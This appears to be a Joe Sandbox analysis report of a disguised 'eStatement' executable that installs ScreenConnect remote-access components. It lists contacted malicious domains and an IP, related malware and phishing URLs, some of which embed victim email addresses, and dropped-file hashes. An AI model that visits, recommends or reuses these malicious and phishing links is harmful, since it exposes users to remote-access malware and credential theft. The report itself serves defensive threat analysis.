https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.xrml.org/schema/2001/11/xrml2core	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D740000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationO$	ScreenConnect.WindowsClient.exe, 00000009.00000002.2446849268.000000000116F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_4c015cY	ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationg=	ScreenConnect.WindowsClient.exe, 00000009.00000002.2450913714.000000001B8BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exeG	dfsvc.exe, 00000002.00000002.2982317556.0000025D3955E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exed	dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree	dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.59.30.201	voicemail-lakeleft.top	Germany		30823	COMBAHTONcombahtonGmbHDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551950
Start date and time:	2024-11-08 11:00:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	monthly-eStatementForum120478962.Client.exe
Detection:	MAL
Classification:	mal51.evad.winEXE@18/76@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 60% Number of executed functions: 203 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.190.159.23, 20.190.159.64, 20.190.159.0, 40.126.31.73, 40.126.31.69, 20.190.159.2, 40.126.31.67, 20.190.159.71, 199.232.214.172, 192.229.221.95, 184.28.90.27, 20.42.65.92, 2.22.50.144, 2.22.50.131
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, cacerts.digicert.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target ScreenConnect.ClientService.exe, PID 1440 because it is empty
Execution Graph export aborted for target ScreenConnect.ClientService.exe, PID 5764 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: monthly-eStatementForum120478962.Client.exe

Simulations

Behavior and APIs

Time	Type	Description
05:01:02	API Interceptor	437277x Sleep call for process: dfsvc.exe modified
05:01:02	API Interceptor	1x Sleep call for process: monthly-eStatementForum120478962.Client.exe modified
05:01:03	API Interceptor	2x Sleep call for process: svchost.exe modified
05:01:22	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
194.59.30.201	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse
	75kTq6Y4Ck.exe	Get hash	malicious	ScreenConnect Tool	Browse
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
popwee2.zapto.org	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
voicemail-lakeleft.top	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	75kTq6Y4Ck.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
fp2e7a.wpc.phicdn.net	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://iw.lrvm8.sa.com/teed/ettd/sf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.google.co.za/url?q=sf_rand(2000)pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/i%C2%ADw%C2%AD.lr%C2%ADv%C2%ADm8%C2%AD.sa.%E2%80%8Bco%C2%ADm%2Fteed%2Fettd%2Fsf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://krtra.com/t/vOPRDbTNH5dT	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://u47729088.ct.sendgrid.net/wf/unsubscribe?upn=3Du001.qfZdNR0QStX7hi2499Z9bKHIlfJoRWg-2BGlWGdDVuEI-2FobzG9qjz4-2F04dob5Dd6GOUOU3Pe4GE6PYrXt2oKkILSW7N9FfZQ2N4Gl35KnpMSqBEWT2CbT9LCLJC-2BeMxZALeTpvN5SBe08WeI-2FhTtsgBJev9lV3YkMDIwR7EBz-2B7F8EJjQkPD0IOqhhIuRXe5-2B9OHyqfzRQ4ayUfJbAlcMDgakc8ysnB1wtz8dbYmRDwX8EKBCtLze2k3Tx2M2PnN-2FNhetjpCvMkKln1DLnT31q4j4LArUZd8zg83JOgRfGySUlDH1wNyjD-2FIFG3u702Eii1BdlMzEZ2n2J16PuZDhT-2BkYm-2Fje2zPp-2FMTq%20buOWolcgW0VkVdtN40bscK9DZxTJlq9NLJlRJ9FR3ceLaN36YPjnjkNwWqJ8u5j-2BVu08f8QPTZu2tDZIQhFb0kTHTGWEpyjMLS0ioEEFdZNkfbvR-2FagqvmkoMLXQsCf-2FRkOYjuYSsLpqjfmYpGDfnDvIgqhdAttFl1CW01gIG2o86bl45nvABGkxr5-2FdDtzSidtQf3BUumtadsueMbHwj9Cxu3xjQ-2BFZagQl0SqdqzSQY-2B-2F1SMCnOqcNzH-2FyXdbmfTPhtwqoQ-2BwUCzVnfeYurWiDmX497ZHT7yRqrIkrN8-2Fh723KQBdV125gyQNDPPI5Ge5igGUb6e1YEy2gW-2Fa97Hp3tilScSTQnTPjSuKSOiV-2Fbd-2FJP9TE-2B6TW8lIqV3Ywwt8nTI2fD8kLxAz3NUAmW6wENPDzvNEdw2aknDKd-2FE3KNWiKxOLksVVE-2FoZ93M1xv22t0FVhGyXpVry8voPOWs0NGJo5CvW0gR4NxDh9QiKB77vYgo8CU9-2FTMXvo2u-2BDqbKmIJlgZH8vD2ixsxHAiZYoPhwOf	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.google.com.ng/url?q=37h0p8pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/safrareal.%E2%80%8Bco%C2%ADm.%E2%80%8Bb%C2%ADr/yaya/Bo3tFjkVxTKtc5gZKuo6OSiq/am9lcmcucnVja3N0dWhsQHBpbGF0dXMtYWlyY3JhZnQuY29t$?	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://cgi-wsc.alfahosting.de/extras/public/photos.cls/selection/addAll?cc=0.653810755815357&accountId=AAHS10INX3Z1&filter=&redirectUrl=https://panimex.cl/158983/secure-redirect#jacquie.treagus+csc.gov.au	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://jxmyd.suqta.com/4nsGrI18106lWUE1607jyvideacqg14494SGKJLESOMEKEJOQ394780IDFE21030X12#1k9rgx511cutjg9iwb06kzgd85r0s0asy0pnafn62q6a7ea7zk	Get hash	malicious	Unknown	Browse	192.229.221.95
bg.microsoft.map.fastly.net	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://iw.lrvm8.sa.com/teed/ettd/sf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	H71PKTiNjk.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	nR3nVVTX3s.lnk	Get hash	malicious	Ducktail	Browse	199.232.214.172
	https://www.google.com.ng/url?q=37h0p8pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/safrareal.%E2%80%8Bco%C2%ADm.%E2%80%8Bb%C2%ADr/yaya/Bo3tFjkVxTKtc5gZKuo6OSiq/am9lcmcucnVja3N0dWhsQHBpbGF0dXMtYWlyY3JhZnQuY29t$?	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	Csc-File-260593301.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://jxmyd.suqta.com/4nsGrI18106lWUE1607jyvideacqg14494SGKJLESOMEKEJOQ394780IDFE21030X12#1k9rgx511cutjg9iwb06kzgd85r0s0asy0pnafn62q6a7ea7zk	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMBAHTONcombahtonGmbHDE	0jg24sHn9q.exe	Get hash	malicious	Remcos	Browse	194.59.31.120
	VDsZYqbfHI.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	2siOtP5z21.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	7uihPKvK0C.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	VDsZYqbfHI.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	1bNQ03YM1i.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	Z1e8koEK3U.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	A6Rywp6HpH.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	RncEYKvQGh.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	iB0IycHNEN.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	194.59.30.201
	aQuwmiym51.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	gW6FHWNFzR.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	U82W1yZAYQ.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	ZGMW2wgPzY.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	z0gG2GA9vG.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	About-Us.docx lnk.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	Job-Description pdf lnk.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	K05MQ5BcC8.lnk	Get hash	malicious	Unknown	Browse	194.59.30.201
	eQwUFcwrXk.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	statments.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	sstatment.exe	Get hash	malicious	ScreenConnect Tool	Browse
	extukGiBrn.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Vh0tTzx4Ko.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	statments.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	sstatment.exe	Get hash	malicious	ScreenConnect Tool	Browse
	extukGiBrn.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Vh0tTzx4Ko.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307089514422711
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugl:gJjJGtpTq2yv1AuNZRY3diu8iBVqFn
MD5:	297C2A079A9BD8E9FDAEF1D4F25127BD
SHA1:	46D21AC84675DDF4BC9BB1AFAC65CD11DFD6BBCA
SHA-256:	8F14E3844D3837C8A15EB10E1A3BB652565AE09881EF610226691FECB4C91BB4
SHA-512:	B6182B38EBABABF30568BA9EBA23DF74ADA6ECCB2D0197C503ED78F0C67C9A2529D4C34C4033DFF6DC4A70C80649EB82ED42800C62BBB566C8E0C1565E5C132E
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x25e71e2a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585765152302204
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D57F42B976D10AEB1ABF3BBBC0D8700A
SHA1:	1A2BF2C22E35370FBBCFA2A110340248CD059E00
SHA-256:	E288F2805894ECE8B3A937252801DF46D82BAA12250D1E90D5F52852F6CDA779
SHA-512:	92F344960C1FE434ACE524707A538D427FCFDDA7A486336F7D64C5F3DE2A81E761779B9A9E971CC1ACBA23FB45AA051EAC417EAE2E2E1A3A78FD3C863ED179C8
Malicious:	false
Preview:	%..*... ...............X\...;...{......................0.z..........{.......\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...........................................\|/.................s.R......\|/..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08036169633905144
Encrypted:	false
SSDEEP:	3:YKl/llKYeRmXHbGuAJkhvekl1onQKFlAllrekGltll/SPj:Y+//KzRabrxlOn3AJe3l
MD5:	D658B17990F495395F83C0EA70935543
SHA1:	8E97C946D1606973C727274B248FE1A2047261D4
SHA-256:	1E99849F6A259CFBF0797BAD63E47613480C68230913F31C563400BC2995DF0E
SHA-512:	60E4B82206803DE9EE29FDDC641E711E00BE0919D0E0335E5EF70C09DACEAEFB71B53B1140E4E5BA29E07095CBB0165A06ECBE3D3C11FE84D4FB242BD5788D05
Malicious:	false
Preview:	.gx......................................;...{.......\|/......{...............{.......{...XL......{..................s.R......\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_monthly-eStateme_d7a856ba8a4884b175f9f85fdeb064875bb1e5_c914ffd9_0773670f-a77a-47bb-a453-dc403b57c060\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9422405274480878
Encrypted:	false
SSDEEP:	96:XHFWgVQMQLs6fhqvGXyf5QXIDcQvc6QcEVcw3cE/XhB+HbHg/Jg+OgBCXEYcI+10:XkLIy0BU/wjq0ozuiFFZ24IO8T
MD5:	E99F8D3D9BAD565542EACB359EB10414
SHA1:	6FDCBC34D4F03435EB3061D6CCDD0B25E97597EB
SHA-256:	70931154134CAD55AEA0AB0D8FDF7AD4EE68D4F2CDC9AC9FCC498DCC84079D0D
SHA-512:	45D9DF6C7B9F16BC776123E1530FD4530DFA481E785ADF96BDA1121357B862CB6CF868788208207F264EBBEFE53910615731FDE079C14588B0D0CE6DFFE09A50
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.5.3.3.6.6.3.4.0.0.2.2.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.5.3.3.6.6.3.9.3.1.4.7.8.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.7.7.3.6.7.0.f.-.a.7.7.a.-.4.7.b.b.-.a.4.5.3.-.d.c.4.0.3.b.5.7.c.0.6.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.f.2.f.8.1.a.-.8.5.e.e.-.4.f.2.a.-.8.0.c.e.-.8.9.d.0.4.6.4.1.2.7.1.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.o.n.t.h.l.y.-.e.S.t.a.t.e.m.e.n.t.F.o.r.u.m.1.2.0.4.7.8.9.6.2...C.l.i.e.n.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.d.4.-.0.0.0.1.-.0.0.1.4.-.e.4.8.2.-.c.7.1.c.c.5.3.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.2.5.3.e.d.2.8.1.b.3.2.6.b.1.a.6.8.6.a.4.9.5.f.e.9.6.d.0.a.1.1.0.0.0.0.f.f.f.f.!.0.0.0.0.4.e.b.9.6.5.6.e.d.e.1.f.e.d.2.3.f.d.a.e.b.6.7.8.1.5.a.f.c.d.4.8.9.d.e.d.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC49.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 8 10:01:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	83910
Entropy (8bit):	1.6442408006053106
Encrypted:	false
SSDEEP:	192:KA7tRlX7jamOhI/DgtqBfMuMM96abQMnev4o/bfW8vOhVoOIbpfiy1kP:fJRYxhI/ktir9L8K6OhVQKy1k
MD5:	7C2967B17975CB35DEABC1C6778B0E72
SHA1:	8DFD26993B42DD1C81636ADC47E35BB7976BBC52
SHA-256:	6AFBA391FF38C9D8535DD446691520D161CBF8CF175074D7D20CDD2AAA4C0E33
SHA-512:	7E284F2CFDED63DD70BF6786EF8DABFF9851D7164333022902D06EA54D1937828F3DC29143946FF1B0F29DC00AC92F62DA8336918C76EE9FE466EA19582BFBD3
Malicious:	false
Preview:	MDMP..a..... ......._.-g.........................................<..........T.......8...........T............!..F&.......... ...........................................................................................eJ..............GenuineIntel............T...........[.-g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8450
Entropy (8bit):	3.696105525464364
Encrypted:	false
SSDEEP:	192:R6l7wVeJuV6C6YEIaSU9SggmfwWmprN89bNbsfgvm:R6lXJc6C6YE1SU9SggmfwWRNgf1
MD5:	7045D9D0C4661CF5FDD85564FE308525
SHA1:	8319CC854135F348D20CD8F27A36DDBC26A00CA9
SHA-256:	03BCDEE5BEDF876E7C14C92F054D23B293F513889D2523BADC17E1FDFBB40412
SHA-512:	2117F10A175A4C6B49FFEA78C634013D5D36D23A4AE712AB66FEFAD24F464305CDFEC587C4AC7BE883C34AE0BD4FD8B6F553C87C0AEA349CB6EC6834C6ED0D60
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 